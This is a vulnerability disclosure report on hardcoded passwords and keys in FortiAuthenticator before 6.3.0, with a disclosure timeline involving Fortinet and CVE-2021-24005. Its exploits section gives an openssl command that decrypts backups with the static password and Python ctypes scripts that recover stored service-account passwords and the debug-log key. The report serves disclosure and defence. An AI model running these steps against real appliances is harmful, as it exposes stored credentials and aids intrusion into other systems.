Vulnerabilities in FortiAuthenticator
Categories: [Security]
Overview
FortiAuthenticator prior to version 6.3.0 contains several hardcoded passwords. These can be extracted from the FortiAuthenticator VM disk file with 7-Zip and Python.
- Static password for backup files
- Static key for encrypted database password fields
- Static password for debug logs
Note that I cannot validate that these have been fixed as I no longer have access to FortiAuthenticator downloads.
Vulnerability ID
Impact
Attackers able to retrieve backups, debug files, or access the embedded PostgreSQL database can decrypt stored passwords. Since this is an authentication appliance, the extracted information or credentials may be useful to an attacker for accessing other systems.
Timeline
- 03/25/2020: Initial submission to Fortinet PSIRT
- 12/20/2020: Fortinet released FortiAuthenticator 6.2.1, still vulnerable. Asked for update
- 12/21/2020: Notified that the fix was scheduled for version 6.3.0, Fortinet asked for acknowledgement details
- 12/29/2020: Provided acknowledgement details
- 04/23/2021: FortiAuthenticator 6.3.0 released, but nothing relevant in release notes. Asked for update.
- 04/23/2021: Fortinet reported that one of the three static password vulnerabilities is fixed, and assigned CVE-2021-24005. Scheduled disclosure for May 4, 2021.
- 05/07/2021: Fortinet replied disputing one of the vulnerabilities (not disclosed here).
- 05/30/2021: Fortinet publishes FG-IR-20-049; I was not notified.
- 06/08/2021: Disclosure report
Exploits
Static password for backup files
The backup files are encrypted with a static password, found in fac/apps/extra/utils/recovery.py (BACKUP_PWD).
The backup file can be decrypted using: openssl aes-256-cbc -in FACVMXEN-v6.0.3-build0058_190220-1053.conf -d -k (backup password) -md md5 -out config.tar
Static key for reversibly-encrypted database fields
A static key is used to encrypt (not hash) passwords that the FortiAuthenticator needs to know, such as LDAP service account passwords. These can be identified in the database because they start with "AES256$" and have the format "AES256$<64 hex characters>$<128 hex characters>"
. While the Python files are compiled to .pyc, they can be easily decompiled with uncompyle6
(https://pypi.org/project/uncompyle6/).
The database contains these credentials, in addition to any set by the user:
- sys_secret_key
- fsae_dctsa_secret
- fsae_secret
- fsae_fct_secret
- FortiCloud 208.91.113.117 RADIUS and "other"
To retrieve the key, we need to extract several libraries from /usr/lib on the appliance (using 7-Zip). I was able to run the Python code below on a Fedora 31 machine. (All are needed due to dependencies.)
- libfacpwd.so
- libbios.so
- libulib.so
- liblicense.so
- libfac_utils.so
This can be reversed by lifting some code from fac/apps/fac_auth/encryption.py:
import os.path
from ctypes import *
me = os.path.abspath(os.path.dirname(__file__))
facpwd = cdll.LoadLibrary(os.path.join(me, "libfacpwd.so"))
bios = cdll.LoadLibrary(os.path.join(me, "libbios.so"))
ulib = cdll.LoadLibrary(os.path.join(me, "libulib.so"))
license = cdll.LoadLibrary(os.path.join(me, "liblicense.so"))
libfac_utils = cdll.LoadLibrary(os.path.join(me, "libfac_utils.so"))
pw = b"AES256$passwordstringhere"
def decrypt(enc_password):
"""Decrypt a password using a reversible algorithm"""
# print(enc_password)
#raw_password = create_string_buffer("\x00", 256)
crypt = create_string_buffer(enc_password, 256)
raw_password = create_string_buffer(b"", 256)
facpwd.fac_unscramble_pwd(enc_password, raw_password, len(raw_password))
return raw_password.value
print(decrypt(pw))
Static password for debug logs
Exports of the debug logs may contain confidential data, and are encrypted with a static password. The password is referenced in fac/apps/debuglog/management/commands/dbgreport.py ('pwd': auth_libs.get_dbg_report_key()). We can extract the password using the code below. The same list of libraries from the appliance are needed here as well, and I successfully ran this on Fedora 31.
import os.path
from ctypes import *
_dbg_report_key = None
DBG_REPORT_KEY_SZ = 32
me = os.path.abspath(os.path.dirname(__file__))
facpwd = cdll.LoadLibrary(os.path.join(me, "libfacpwd.so"))
bios = cdll.LoadLibrary(os.path.join(me, "libbios.so"))
ulib = cdll.LoadLibrary(os.path.join(me, "libulib.so"))
license = cdll.LoadLibrary(os.path.join(me, "liblicense.so"))
libfac_utils = cdll.LoadLibrary(os.path.join(me, "libfac_utils.so"))
def get_dbg_report_key():
"""Lazily load debug report key"""
global _dbg_report_key
# from fac.utils.system.platform import libfac_utils
if _dbg_report_key:
return _dbg_report_key
key = create_string_buffer(DBG_REPORT_KEY_SZ * 2 + 1)
libfac_utils.get_dbg_report_key(key)
_dbg_report_key = key.value
return _dbg_report_key
print (get_dbg_report_key())